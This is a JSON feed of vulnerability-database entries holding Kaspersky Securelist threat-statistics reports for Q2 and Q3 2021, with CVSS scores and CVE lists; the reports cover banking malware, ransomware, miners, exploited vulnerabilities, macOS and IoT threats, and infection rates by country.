Kaspersky Security Network (KSN), where anonymized data voluntarily provided by Kaspersky users is accumulated and processed. In the first seven months of 2021 our products detected 181,869 attempts to download or run QakBot. This number is lower than the detection number from January to July 2020, though the number of users affected grew by 65% \u2013 from 10,493 in the previous year to 17,316 this year.\n\n_Number of users affected by QakBot attacks from January to July in 2020 and 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/01155141/01-en-qakbot.png>))_\n\nYou can read our full analysis [here](<https://securelist.com/qakbot-technical-analysis/103931/>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-26T12:00:36", "type": "securelist", "title": "IT threat evolution Q3 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527", "CVE-2021-40444"], "modified": "2021-11-26T12:00:36", "id": "SECURELIST:86368EF0EA7DAA3D2AB20E0597A62656", "href": "https://securelist.com/it-threat-evolution-q3-2021/104876/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-12T10:37:29", "description": "\n\n_These statistics are based on detection verdicts of Kaspersky products received from users who consented to providing statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network, in Q2 2021:\n\n * Kaspersky solutions blocked 1,686,025,551 attacks from online resources across the globe.\n * Web antivirus recognized 675,832,360 unique URLs as malicious.\n * Attempts to run malware for stealing money from online bank accounts were stopped on the computers of 119,252 unique users.\n * Ransomware attacks were defeated on the computers of 97,451 unique users.\n * Our file antivirus detected 68,294,298 unique malicious and potentially unwanted objects.\n\n## Financial threats\n\n### Financial threat statistics\n\nIn Q2 2021, Kaspersky solutions blocked the launch of at least one piece of banking malware on the computers of 119,252 unique users.\n\n_Number of unique users attacked by financial malware, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11140610/01-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Geography of financial malware attacks**\n\n_To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all users of our products in that country._\n\n_Geography of financial malware attacks, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11140636/02-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Turkmenistan | 5.8 \n2 | Tajikistan | 5.0 \n3 | Afghanistan | 4.2 \n4 | Uzbekistan | 3.3 \n5 | Lithuania | 2.9 \n6 | Sudan | 2.8 \n7 | Paraguay | 2.5 \n8 | Zimbabwe | 1.6 \n9 | Costa Rica | 1.5 \n10 | Yemen | 1.5 \n \n_* Excluded are countries with relatively few Kaspersky product users (under 10,000)._ \n_** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country._\n\nLast quarter, as per tradition, the most widespread family of bankers was ZeuS/Zbot (17.8%), but its share in Q2 almost halved, by 13 p.p. Second place again went to the CliptoShuffler family (9.9%), whose share also fell, by 6 p.p. The Top 3 is rounded out by SpyEye (8.8%), which added 5 p.p., climbing from the eighth place. Note the disappearance of Emotet from the Top 10, which was predictable given the liquidation of its infrastructure in the previous quarter.\n\n**Top 10 banking malware families**\n\n| Name | Verdicts | %* \n---|---|---|--- \n1 | Zbot | Trojan.Win32.Zbot | 17.8 \n2 | CliptoShuffler | Trojan-Banker.Win32.CliptoShuffler | 9.9 \n3 | SpyEye | Trojan-Spy.Win32.SpyEye | 8.8 \n4 | Trickster | Trojan.Win32.Trickster | 5.5 \n5 | RTM | Trojan-Banker.Win32.RTM | 3.8 \n6 | Danabot | Trojan-Banker.Win32.Danabot | 3.6 \n7 | Nimnul | Virus.Win32.Nimnul | 3.3 \n8 | Cridex | Backdoor.Win32.Cridex | 2.3 \n9 | Nymaim | Trojan.Win32.Nymaim | 1.9 \n10 | Neurevt | Trojan.Win32.Neurevt | 1.6 \n \n_* Unique users who encountered this malware family as a percentage of all users attacked by financial malware._\n\n## Ransomware programs\n\n### Quarterly trends and highlights\n\n#### Attack on Colonial Pipeline and closure of DarkSide\n\nRansomware attacks on large organizations continued in Q2. Perhaps the most notable event of the quarter was the [attack by the DarkSide group on Colonial Pipeline](<https://ics-cert.kaspersky.com/reports/2021/05/21/darkchronicles-the-consequences-of-the-colonial-pipeline-attack/>), one of the largest fuel pipeline operators in the US. The incident led to fuel outages and a state of emergency in four states. The results of the investigation, which involved the FBI and several other US government agencies, was reported to US President Joe Biden.\n\nFor the cybercriminals, this sudden notoriety proved unwelcome. In their blog, DarkSide&#x27;s creators heaped the blame on third-party operators. Another post was published stating that DarkSide&#x27;s developers had lost access to part of their infrastructure and were shutting down the service and the affiliate program.\n\nAnother consequence of this high-profile incident was a new rule on the Russian-language forum XSS, where many developers of ransomware, including REvil (also known as Sodinokibi or Sodin), LockBit and Netwalker, advertise their affiliate programs. The new rule forbade the advertising and selling of any ransomware programs on the site. The administrators of other forums popular with cybercriminals took similar decisions.\n\n#### Closure of Avaddon\n\nAnother family of targeted ransomware whose owners shut up shop in Q2 is Avaddon. At the same time as announcing the shutdown, the attackers [provided](<https://www.bleepingcomputer.com/news/security/avaddon-ransomware-shuts-down-and-releases-decryption-keys/>) Bleeping Computer with the decryption keys.\n\n#### Clash with Clop\n\nUkrainian police [searched](<https://cyberpolice.gov.ua/news/kiberpolicziya-vykryla-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shyfruvalnyka-ta-nanesenni-inozemnym-kompaniyam-piv-milyarda-dolariv-zbytkiv-2402/>) and arrested members of the Clop group. Law enforcement agencies also deactivated part of the cybercriminals&#x27; infrastructure, which [did not](<https://www.bleepingcomputer.com/news/security/clop-ransomware-is-back-in-business-after-recent-arrests/>), however, stop the group&#x27;s activities.\n\n#### Attacks on NAS devices\n\nIn Q2, cybercriminals stepped up their attacks on network-attached storage (NAS) devices. There appeared the new [Qlocker](<https://support.qnap.ru/hc/ru/articles/360021328659-\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c-Qnap-Ransomware-Qlocker>) family, which packs user files into a password-protected 7zip archive, plus our old friends [ech0raix](<https://www.qnap.com/en/security-advisory/QSA-21-18>) and [AgeLocker](<https://www.qnap.com/en-us/security-advisory/QSA-21-15>) began to gather steam.\n\n### Number of new ransomware modifications\n\nIn Q2 2021, we detected 14 new ransomware families and 3,905 new modifications of this malware type.\n\n_Number of new ransomware modifications, Q2 2020 \u2014 Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141411/03-en-ru-es-malware-report-q2-2021-graphs-pc.png>))_\n\n### Number of users attacked by ransomware Trojans\n\nIn Q2 2021, Kaspersky products and technologies protected 97,451 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware Trojans, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141438/04-en-malware-report-q2-2021-graphs-pc.png>))_\n\n### Geography of ransomware attacks\n\n_Geography of attacks by ransomware Trojans, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141505/05-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Top 10 countries attacked by ransomware Trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 1.85 \n2 | Ethiopia | 0.51 \n3 | China | 0.49 \n4 | Pakistan | 0.40 \n5 | Egypt | 0.38 \n6 | Indonesia | 0.36 \n7 | Afghanistan | 0.36 \n8 | Vietnam | 0.35 \n9 | Myanmar | 0.35 \n10 | Nepal | 0.33 \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000)._ \n_** Unique users attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country._\n\n### Top 10 most common families of ransomware Trojans\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | WannaCry | Trojan-Ransom.Win32.Wanna | 20.66 \n2 | Stop | Trojan-Ransom.Win32.Stop | 19.70 \n3 | (generic verdict) | Trojan-Ransom.Win32.Gen | 9.10 \n4 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 6.37 \n5 | (generic verdict) | Trojan-Ransom.Win32.Phny | 6.08 \n6 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 5.87 \n7 | (generic verdict) | Trojan-Ransom.Win32.Agent | 5.19 \n8 | PolyRansom/VirLock | Virus.Win32.Polyransom / Trojan-Ransom.Win32.PolyRansom | 2.39 \n9 | (generic verdict) | Trojan-Ransom.Win32.Crypmod | 1.48 \n10 | (generic verdict) | Trojan-Ransom.MSIL.Encoder | 1.26 \n \n_* Unique Kaspersky users attacked by this family of ransomware Trojans as a percentage of all users attacked by such malware._\n\n## Miners\n\n### Number of new miner modifications\n\nIn Q2 2021, Kaspersky solutions detected 31,443 new modifications of miners.\n\n_Number of new miner modifications, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141534/06-en-malware-report-q2-2021-graphs-pc.png>))_\n\n### Number of users attacked by miners\n\nIn Q2, we detected attacks using miners on the computers of 363,516 unique users of Kaspersky products worldwide. At the same time, the number of attacked users gradually decreased during the quarter; in other words, the downward trend in miner activity returned.\n\n_Number of unique users attacked by miners, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141602/07-en-malware-report-q2-2021-graphs-pc.png>))_\n\n### Geography of miner attacks\n\n_Geography of miner attacks, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141627/08-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Top 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Afghanistan | 3.99 \n2 | Ethiopia | 2.66 \n3 | Rwanda | 2.19 \n4 | Uzbekistan | 1.61 \n5 | Mozambique | 1.40 \n6 | Sri Lanka | 1.35 \n7 | Vietnam | 1.33 \n8 | Kazakhstan | 1.31 \n9 | Azerbaijan | 1.21 \n10 | Tanzania | 1.19 \n \n_* Excluded are countries with relatively few users of Kaspersky products (under 50,000)._ \n_** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country._\n\n## Vulnerable applications used by cybercriminals during cyberattacks\n\nQ2 2021 injected some minor changes into our statistics on exploits used by cybercriminals. In particular, the share of exploits for Microsoft Office dropped to 55.81% of the total number of threats of this type. Conversely, the share of exploits attacking popular browsers rose by roughly 3 p.p. to 29.13%.\n\n_Distribution of exploits used by cybercriminals, by type of attacked application, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141656/09-en-malware-report-q2-2021-graphs-pc.png>))_\n\nMicrosoft Office exploits most often tried to utilize the memory corruption vulnerability [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>). This error can occur in the Equation Editor component when processing objects in a specially constructed document, and its exploitation causes a buffer overflow and allows an attacker to execute arbitrary code. Also seen in Q2 was the similar vulnerability [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>), which causes a buffer overflow on the stack in the same component. Lastly, we spotted an attempt to exploit the [CVE-2017-8570](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>) vulnerability, which, like other bugs in Microsoft Office, permits the execution of arbitrary code in vulnerable versions of the software.\n\nQ2 2021 was marked by the emergence of several dangerous vulnerabilities in various versions of the Microsoft Windows family, many of them observed in the wild. Kaspersky alone found three vulnerabilities used in targeted attacks:\n\n * [CVE-2021-28310](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28310>) \u2014 an out-of-bounds (OOB) write vulnerability in the Microsoft DWM Core library used in Desktop Window Manager. Due to insufficient checks in the data array code, an unprivileged user using the DirectComposition API can write their own data to the memory areas they control. As a result, the data of real objects is corrupted, which, in turn, can lead to the execution of arbitrary code;\n * [CVE-2021-31955](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31955>) \u2014 an information disclosure vulnerability that exposes information about kernel objects. Together with other exploits, it allows an intruder to attack a vulnerable system;\n * [CVE-2021-31956](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31956>) \u2014 a vulnerability in the ntfs.sys file system driver. It causes incorrect checking of transferred sizes, allowing an attacker to inflict a buffer overflow by manipulating parameters.\n\nYou can read more about these vulnerabilities and their exploitation in our articles [PuzzleMaker attacks with Chrome zero-day exploit chain](<https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/>) and [Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild](<https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/>).\n\nOther security researchers found a number of browser vulnerabilities, including:\n\n * [CVE-2021-33742](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33742>) \u2014 a bug in the Microsoft Trident browser engine (MSHTML) that allows writing data outside the memory of operable objects;\n * Three Google Chrome vulnerabilities found in the wild that exploit bugs in various browser components: [CVE-2021-30551](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30551>) \u2014 a data type confusion vulnerability in the V8 scripting engine; [CVE-2021-30554](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30554>) \u2014 a use-after-free vulnerability in the WebGL component; and [CVE-2021-21220](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21220>) \u2014 a heap corruption vulnerability;\n * Three vulnerabilities in the WebKit browser engine, now used mainly in Apple products (for example, the Safari browser), were also found in the wild: [CVE-2021-30661](<https://support.apple.com/en-us/HT212317>) \u2014 a use-after-free vulnerability; [CVE-2021-30665](<https://support.apple.com/en-us/HT212336>) \u2014 a memory corruption vulnerability; and [CVE-2021-30663](<https://support.apple.com/en-us/HT212336>) \u2014 an integer overflow vulnerability.\n\nAll of these vulnerabilities allow a cybercriminal to attack a system unnoticed if the user opens a malicious site in an unpatched browser.\n\nIn Q2, two similar vulnerabilities were found ([CVE-2021-31201](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31201>) and [CVE-2021-31199](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31199>)), exploiting integer overflow bugs in the Microsoft Windows Cryptographic Provider component. Using these vulnerabilities, an attacker could prepare a special signed document that would ultimately allow the execution of arbitrary code in the context of an application that uses the vulnerable library.\n\nBut the biggest talking point of the quarter was the [critical vulnerabilities CVE-2021-1675 and CVE-2021-34527](<https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/>) in the Microsoft Windows Print Spooler, in both server and client editions. Their discovery, together with a [proof of concept](<https://encyclopedia.kaspersky.com/glossary/poc-proof-of-concept/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>), caused a stir in both the expert community and the media, which dubbed one of the vulnerabilities PrintNightmare. Exploitation of these vulnerabilities is quite trivial, since Print Spooler is enabled by default in Windows, and the methods of compromise are available even to unprivileged users, including remote ones. In the latter case, the RPC mechanism can be leveraged for compromise. As a result, an attacker with low-level access can take over not only a local machine, but also the domain controller, if these systems have not been updated, or available [risk mitigation methods](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) against these vulnerabilities have not been applied.\n\nAmong the network threats in Q2 2021, attempts to brute-force passwords in popular protocols and services (RDP, SSH, MSSQL, etc.) are still current. Attacks using EternalBlue, EternalRomance and other such exploits remain prevalent, although their share is gradually shrinking. New attacks include [CVE-2021-31166](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31166>), a vulnerability in the Microsoft Windows HTTP protocol stack that causes a denial of service during processing of web-server requests. To gain control over target systems, attackers are also using the previously found NetLogon vulnerability ([CVE-2020-1472](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472>)) and, for servers running Microsoft Exchange Server, vulnerabilities recently discovered while researching targeted attacks by the [HAFNIUM](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) group.\n\n## Attacks on macOS\n\nAs for threats to the macOS platform, Q2 will be remembered primarily for the appearance of new samples of the XCSSET Trojan. Designed to steal data from browsers and other applications, the malware is notable for spreading itself through infecting projects in the Xcode development environment. The Trojan takes the form of a bash script packed with the SHC utility, allowing it to evade macOS protection, which does not block script execution. During execution of the script, the SHC utility uses the RC4 algorithm to decrypt the payload, which, in turn, downloads additional modules.\n\n**Top 20 threats for macOS**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | AdWare.OSX.Pirrit.j | 14.47 \n2 | AdWare.OSX.Pirrit.ac | 13.89 \n3 | AdWare.OSX.Pirrit.o | 10.21 \n4 | AdWare.OSX.Pirrit.ae | 7.96 \n5 | AdWare.OSX.Bnodlero.at | 7.94 \n6 | Monitor.OSX.HistGrabber.b | 7.82 \n7 | Trojan-Downloader.OSX.Shlayer.a | 7.69 \n8 | AdWare.OSX.Bnodlero.bg | 7.28 \n9 | AdWare.OSX.Pirrit.aa | 6.84 \n10 | AdWare.OSX.Pirrit.gen | 6.44 \n11 | AdWare.OSX.Cimpli.m | 5.53 \n12 | Trojan-Downloader.OSX.Agent.h | 5.50 \n13 | Backdoor.OSX.Agent.z | 4.64 \n14 | Trojan-Downloader.OSX.Lador.a | 3.92 \n15 | AdWare.OSX.Bnodlero.t | 3.64 \n16 | AdWare.OSX.Bnodlero.bc | 3.36 \n17 | AdWare.OSX.Ketin.h | 3.25 \n18 | AdWare.OSX.Bnodlero.ay | 3.08 \n19 | AdWare.OSX.Pirrit.q | 2.84 \n20 | AdWare.OSX.Pirrit.x | 2.56 \n \n_* Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked._\n\nAs in the previous quarter, a total of 15 of the Top 20 threats for macOS are adware programs. The Pirrit and Bnodlero families have traditionally stood out from the crowd, with the former accounting for two-thirds of the total number of threats.\n\n### Geography of threats for macOS\n\n_Geography of threats for macOS, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141728/10-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | India | 3.77 \n2 | France | 3.67 \n3 | Spain | 3.45 \n4 | Canada | 3.08 \n5 | Italy | 3.00 \n6 | Mexico | 2.88 \n7 | Brazil | 2.82 \n8 | USA | 2.69 \n9 | Australia | 2.53 \n10 | Great Britain | 2.33 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky security solutions for macOS (under 10,000)._ \n_** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nIn Q2 2021, first place by share of attacked users went to India (3.77%), where adware applications from the Pirrit family were most frequently encountered. A comparable situation was observed in France (3.67%) and Spain (3.45%), which ranked second and third, respectively.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q2 2021, as before, most of the attacks on Kaspersky traps came via the Telnet protocol.\n\nTelnet | 70.55% \n---|--- \nSSH | 29.45% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q2 2021_\n\nThe statistics for cybercriminal working sessions with Kaspersky honeypots show similar Telnet dominance.\n\nTelnet | 63.06% \n---|--- \nSSH | 36.94% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, Q2 2021_\n\n**Top 10 threats delivered to IoT devices via Telnet**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 30.25% \n2 | Trojan-Downloader.Linux.NyaDrop.b | 27.93% \n3 | Backdoor.Linux.Mirai.ba | 5.82% \n4 | Backdoor.Linux.Agent.bc | 5.10% \n5 | Backdoor.Linux.Gafgyt.a | 4.44% \n6 | Trojan-Downloader.Shell.Agent.p | 3.22% \n7 | RiskTool.Linux.BitCoinMiner.b | 2.90% \n8 | Backdoor.Linux.Gafgyt.bj | 2.47% \n9 | Backdoor.Linux.Mirai.cw | 2.52% \n10 | Backdoor.Linux.Mirai.ad | 2.28% \n \n_* Share of each threat delivered to infected devices as a result of a successful Telnet attack out of the total number of delivered threats._\n\nDetailed IoT threat statistics are published in our Q2 2021 DDoS report: <https://securelist.com/ddos-attacks-in-q2-2021/103424/#attacks-on-iot-honeypots>\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose and web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that serve as sources of web-based attacks: Top 10\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites hosting malicious programs, botnet C&amp;C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographic source of web attacks, the GeoIP technique was used to match the domain name to the real IP address at which the domain is hosted._\n\nIn Q2 2021, Kaspersky solutions blocked 1,686,025,551 attacks from online resources located across the globe. 675,832,360 unique URLs were recognized as malicious by Web Anti-Virus components.\n\n_Distribution of web-attack sources by country, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141800/13-en-malware-report-q2-2021-graphs-pc.png>))_\n\n### Countries where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries, for each country we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.\n\nThis rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Belarus | 23.65 \n2 | Mauritania | 19.04 \n3 | Moldova | 18.88 \n4 | Ukraine | 18.37 \n5 | Kyrgyzstan | 17.53 \n6 | Algeria | 17.51 \n7 | Syria | 15.17 \n8 | Uzbekistan | 15.16 \n9 | Kazakhstan | 14.80 \n10 | Tajikistan | 14.70 \n11 | Russia | 14.54 \n12 | Yemen | 14.38 \n13 | Tunisia | 13.40 \n14 | Estonia | 13.36 \n15 | Latvia | 13.23 \n16 | Libya | 13.04 \n17 | Armenia | 12.95 \n18 | Morocco | 12.39 \n19 | Saudi Arabia | 12.16 \n20 | Macao | 11.67 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users targeted by **Malware-class** attacks as a percentage of all unique users of Kaspersky products in the country._\n\n_These statistics are based on detection verdicts by the Web Anti-Virus module that were received from users of Kaspersky products who consented to provide statistical data._\n\nOn average during the quarter, 9.43% of computers of Internet users worldwide were subjected to at least one **Malware-class** web attack.\n\n_Geography of web-based malware attacks, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141830/14-en-malware-report-q2-2021-graphs-pc.png>))_\n\n## Local threats\n\n_In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users&#x27; computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\nIn Q2 2021, our File Anti-Virus detected **68,294,298** malicious and potentially unwanted objects.\n\n### Countries where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.\n\nNote that this rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Turkmenistan | 49.38 \n2 | Tajikistan | 48.11 \n3 | Afghanistan | 46.52 \n4 | Uzbekistan | 44.21 \n5 | Ethiopia | 43.69 \n6 | Yemen | 43.64 \n7 | Cuba | 38.71 \n8 | Myanmar | 36.12 \n9 | Syria | 35.87 \n10 | South Sudan | 35.22 \n11 | China | 35.14 \n12 | Kyrgyzstan | 34.91 \n13 | Bangladesh | 34.63 \n14 | Venezuela | 34.15 \n15 | Benin | 32.94 \n16 | Algeria | 32.83 \n17 | Iraq | 32.55 \n18 | Madagascar | 31.68 \n19 | Mauritania | 31.60 \n20 | Belarus | 31.38 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users on whose computers **Malware-class** local threats were blocked, as a percentage of all unique users of Kaspersky products in the country._\n\n_Geography of local infection attempts, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141906/15-en-malware-report-q2-2021-graphs-pc.png>))_\n\nOn average worldwide, **Malware-class** local threats were recorded on 15.56% of users&#x27; computers at least once during the quarter. Russia scored 17.52% in this rating.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-08-12T10:00:12", "type": "securelist", "title": "IT threat evolution in Q2 2021. PC statistics", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2017-8570", "CVE-2018-0802", "CVE-2020-1472", "CVE-2021-1675", "CVE-2021-21220", "CVE-2021-28310", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-31166", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-33742", "CVE-2021-34527"], "modified": "2021-08-12T10:00:12", "id": "SECURELIST:BB0230F9CE86B3F1994060AA0A809C08", "href": "https://securelist.com/it-threat-evolution-in-q2-2021-pc-statistics/103607/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-26T12:37:38", "description": "\n\n * [IT threat evolution Q3 2021](<https://securelist.com/it-threat-evolution-q3-2021/104876/>)\n * **IT threat evolution in Q3 2021. PC statistics**\n * [IT threat evolution in Q3 2021. Mobile statistics](<https://securelist.com/it-threat-evolution-in-q3-2021-mobile-statistics/105020/>)\n\n_These statistics are based on detection verdicts of Kaspersky products received from users who consented to providing statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network, in Q3 2021:\n\n * Kaspersky solutions blocked 1,098,968,315 attacks from online resources across the globe.\n * Web Anti-Virus recognized 289,196,912 unique URLs as malicious.\n * Attempts to run malware for stealing money from online bank accounts were stopped on the computers of 104,257 unique users.\n * Ransomware attacks were defeated on the computers of 108,323 unique users.\n * Our File Anti-Virus detected 62,577,326 unique malicious and potentially unwanted objects.\n\n## Financial threats\n\n### Financial threat statistics\n\nIn Q3 2021, Kaspersky solutions blocked the launch of at least one piece of banking malware on the computers of 104,257 unique users.\n\n_Number of unique users attacked by financial malware, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150303/01-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Geography of financial malware attacks**\n\n_To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all users of our products in that country._\n\n_Geography of financial malware attacks, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150355/02-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Turkmenistan | 5.4 \n2 | Tajikistan | 3.7 \n3 | Afghanistan | 3.5 \n4 | Uzbekistan | 3.0 \n5 | Yemen | 1.9 \n6 | Kazakhstan | 1.6 \n7 | Paraguay | 1.6 \n8 | Sudan | 1.6 \n9 | Zimbabwe | 1.4 \n10 | Belarus | 1.1 \n \n_* Excluded are countries with relatively few Kaspersky product users (under 10,000)._ \n_** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country._\n\n**Top 10 banking malware families**\n\n| Name | Verdicts | %* \n---|---|---|--- \n1 | Zbot | 